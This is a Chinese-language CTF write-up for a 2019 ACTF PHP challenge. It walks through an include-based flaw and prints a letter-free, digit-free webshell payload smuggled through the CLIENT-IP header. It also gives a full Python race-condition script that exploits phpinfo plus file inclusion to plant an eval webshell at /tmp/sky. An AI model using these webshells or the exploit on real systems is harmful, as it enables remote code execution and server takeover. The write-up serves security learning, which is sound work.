2019ACTF中的HTTP头CLIENT-IP字段无数字字母写shell

打开题目第一眼看到的以为是一个注入题…随时测试了一下发现单引号和双引号都被过滤了,而且不是数字型的注入,感觉注入是不可能了。扫描了下目录,扫描到如下文件。

  • phpinfo.php

    1
    <?php phpinfo(); ?>
  • include.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php 
    error_reporting(0);
    ini_set("include_path", "./:./record/");
    header("Content-Type: text/html; charset=utf-8");

    $file = @$_POST["file"];
    include($file);
    highlight_file(__FILE__);
    ?>
  • robots.txt

    1
    2
    3
    User-agent: *
    Disallow: /include.php
    Disallow: /phpinfo.php

    利用 include.php 文件读取到 index.php 的源码

  • index.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    <?php
    error_reporting(0);
    ini_set("include_path", "./:./record/");
    header("Content-Type: text/html; charset=utf-8");

    function get_client_ip(){
    $ip = $_SERVER['REMOTE_ADDR'];
    if(array_key_exists('HTTP_CLIENT_IP', $_SERVER)){
    $ip = $_SERVER['HTTP_CLIENT_IP'];
    }
    if($ip){
    list($ip) = explode(', ', $ip, 2);
    }
    return $ip;
    }


    $id = @$_GET["id"];

    if(!$id){
    header("Location: index.php?id=1");
    }
    if(preg_match("/(#|\"|'|sleep|benchmark|outfile|dumpfile|load_file|join)/i" , $id)){
    $ip = get_client_ip();
    if(preg_match('/[a-z0-9]/is',$ip)) {
    echo "you bad bad ~ ";
    die;
    }
    $filename = md5(time());
    $file = fopen("record/".$filename.".txt", "w");
    fwrite($file,$ip);
    fclose($file);
    echo "Your ip is recorded in "."record/".$filename.".txt";
    die;
    }

    $mysqli = new mysqli("localhost","root","","test");
    if(mysqli_connect_error()){
    echo mysqli_connect_error();
    die;
    }
    $mysqli->set_charset("utf8");
    $sql = "select * from user where id=?";
    $stmt = $mysqli->prepare($sql);
    $stmt->bind_param("i", intval($id));
    $stmt->execute();
    $result = $stmt->get_result();
    while($data = $result->fetch_array(MYSQLI_ASSOC)){
    echo "<h1>id : " . $data['id'] . "</h1>";
    echo "<h2>name : " . $data['name'] . "</h2>";
    }
    $result->close();
    $mysqli->close();

    ?>

分析 index.php 文件的内容,发现这题确实不能注入,首先sql语句进行了预编译,同时id被取整了

1
2
3
4
5
$filename = md5(time());
$file = fopen("record/".$filename.".txt", "w");
fwrite($file,$ip);
fclose($file);
echo "Your ip is recorded in "."record/".$filename.".txt";

然后发现这一段代码有写文件的操作,同时写的内容是通过http请求头获取的,且内容是可控的。同时他会输出写入文件的名字,这样我们就可以通过 include.php 进行包含,来达到getshell的目的

1
2
3
4
if(preg_match('/[a-z0-9]/is',$ip)) {
echo "you bad bad ~ ";
die;
}

但这里获取到的ip中不能包含数字和字母,我一开始想到的是能否然$ip是一个数组来绕过

1
2
3
4
5
6
7
8
9
10
function get_client_ip(){
$ip = $_SERVER['REMOTE_ADDR'];
if(array_key_exists('HTTP_CLIENT_IP', $_SERVER)){
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
if($ip){
list($ip) = explode(', ', $ip, 2);
}
return $ip;
}

但通过测试,如上这个获取ip的函数返回出来的都是一个字符串,所以这里用数组就无法绕过了。

然后在看P牛博客的时候,发现一篇一些不包含数字和字母的webshell 。发现刚好可以用到这题上。然后开始构造无数字字母的webshell进行写入。最后playlod如下

1
CLIENT-IP: <?= @$_=[].'';@$___=$_[''];$_=$___;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;@$___($_[_]);//assert($_POST[_]);

这里要在开头在上<?= 是因为 include.php 文件中的

1
ini_set("include_path", "./:./record/");

由于这个配置的原因,所有包含进来的文件都在文件的开头,在<?php 标签的上面,所以就不会被当做php文件执行,而 <?= 刚好是php短标签,不包含字母php不会被拦截,查看 phpinfo 页面发现刚好开启了php短标签,所以这里可以这样绕过。

然后就是进行文件包含,在上传完shell之后想用蚁剑连接,但发现连不上…所以直接用system函数读取目录了,发现flag在根目录下,cat读取即可。

这题还有一种解法,就是 phpinfo+竞争包含上传临时文件,利用脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import socket
import sys


def init(host, port):
padding = 'sky' * 2000
payload = """sky test!<?php file_put_contents('/tmp/sky', '<?php eval($_REQUEST[sky]);?>');?>\r"""

request1_data = """------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="file"; filename="test.php"\r
Content-Type: text/php\r
\r
%s
------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="submit"\r
\r
Submit\r
------WebKitFormBoundary9MWZnWxBey8mbAQ8--\r
""" % payload

request1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: skypadding=""" + padding + """\r
Cache-Control: max-age=0\r
Upgrade-Insecure-Requests: 1\r
Origin: null\r
Accept: """ + padding + """\r
User-Agent: """ + padding + """\r
Accept-Language: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Length: %s\r
Host: %s:%s\r
\r
%s""" % (len(request1_data), host, port, request1_data)

request2 = """POST /include.php HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s:%s\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 19\r
\r
file=%s
"""
return (request1, request2)


def getOffset(host, port, request1):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(request1)

d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
print 'not fonud'

print "found %s at %i" % (d[i:i + 10], i)
return i + 256


def phpinfo_LFI(host, port, offset, request1, request2):
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s1.connect((host, port))
s2.connect((host, port))

s1.send(request1)
d = ""
while len(d) < offset:
d += s1.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i + 17:i + 31]
s2.send(request2 % (host, port, fn))
tmp = s2.recv(4096)
if tmp.find("sky test!") != -1:
return fn
except ValueError:
return None
s1.close()
s2.close()


attempts = 1000
host = "140.82.19.20"
port = 45309
request1, request2 = init(host, port)
offset = getOffset(host, port, request1)
for i in range(1, attempts):
print "try:" + str(i) + "/" + str(attempts)
sys.stdout.flush()
res = phpinfo_LFI(host, port, offset, request1, request2)
if res is not None:
print 'You can getshell with /tmp/sky!'
break

因为题目服务器在国外,国内访问慢,我是直接在买了台国外的vps,然后多跑了几次脚本就成功了。

参考文章:

不包含数字字母的webshell)

一些不包含数字和字母的webshell

Some Trick About LFI